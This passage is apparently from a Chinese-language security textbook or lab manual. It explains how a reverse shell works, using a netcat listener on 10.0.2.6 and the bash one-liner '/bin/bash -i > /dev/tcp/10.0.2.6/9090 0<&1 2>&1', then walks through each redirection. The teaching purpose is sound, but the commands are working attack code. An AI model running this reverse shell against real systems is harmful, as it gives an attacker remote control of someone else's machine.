
反向 shell 的关键思想是将 shell 的标准输入、输出和错误设备重定向到网络连接，这样 shell 就会从该连接获取输入，并将输出也发送回该连接。在连接的另一端运行的是攻击者的程序，这个程序只是显示来自另一端的 shell 程序打印出来的内容，并将攻击者键入的内容通过网络连接发送给 shell 程序。

攻击端常用的一个程序是 \texttt{netcat}，如果用 \texttt{"-l"} 选项，则会运行一个监听指定端口的 TCP 服务器。该服务器程序会打印客户端发送来的内容，并把用户输入的内容发到客户端。在下面的实验中，我们将使用 \texttt{netcat}（简写为\texttt{nc}）来监听 9090 端口。我们先仅关注第一行。

\begin{lstlisting}
Attacker(10.0.2.6):$ nc -nv -l 9090  (*@\reflectbox{\ding{217}} \textbf{Waiting for reverse shell}@*)
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     (*@\reflectbox{\ding{217}} \textbf{Reverse shell from 10.0.2.5.}@*)
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet (*@\textbf{10.0.2.5}@*)  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
\end{lstlisting}

上述的 \texttt{nc} 命令会阻塞，等待连接。我们在服务器（\texttt{10.0.2.5}）上直接运行以下 bash 程序，这是模拟攻击者通过漏洞在服务器上做的事。这个 bash 命令将与攻击者机器的 9090 的端口建立一个 TCP 连接，从而创建一个反向 shell。我们可以从上述结果中看到 shell 程序的提示符，这表明 shell 程序正在服务器上运行。我们可以通过键入 \texttt{ifconfig} 命令来验证 IP 地址确实为 \texttt{10.0.2.5}，这是属于服务器的 IP 地址。以下是 bash 命令：

\begin{lstlisting}
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
\end{lstlisting}

上述命令比较复杂，我们在下面进行详细的解释：

\begin{itemize}
\item \texttt{"/bin/bash -i"}: 选项 \texttt{i} 表示这是交互模式，意味着 shell 程序会提供 shell 提示符。

\item \texttt{"> /dev/tcp/10.0.2.6/9090"}: 这使得 shell 程序的标准输出设备 \texttt{stdout} 被重定向到一个指定的 TCP 连接。在 unix 系统中，\texttt{stdout} 的文件描述符为 \texttt{1}。

\item \texttt{"0<\&1"}: 文件描述符 \texttt{0} 表示标准输入设备 \texttt{stdin}。此选项告诉系统使用标准输出设备作为标准输入设备。由于标准输出已经被重定向到 TCP 连接，因此标准输入也用同一个 TCP 连接。

\item \texttt{"2>\&1"}: 文件描述符 \texttt{2} 表示标准错误 \texttt{stderr}。这使得错误输出也被重定向到同一个 TCP 连接。
\end{itemize}

总之，命令 \texttt{"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<\&1 2>\&1"} 在服务器机器上启动了 bash 程序，它的输入来自一个 TCP 连接，输出也发送到相同的 TCP 连接。当我们在 \texttt{10.0.2.5} 上执行这条 bash 命令时，它会回连到 \texttt{10.0.2.6} 上运行的 netcat 进程。通过 netcat 显示的 ``Connection received on 10.0.2.5...''，我们可以确认这点。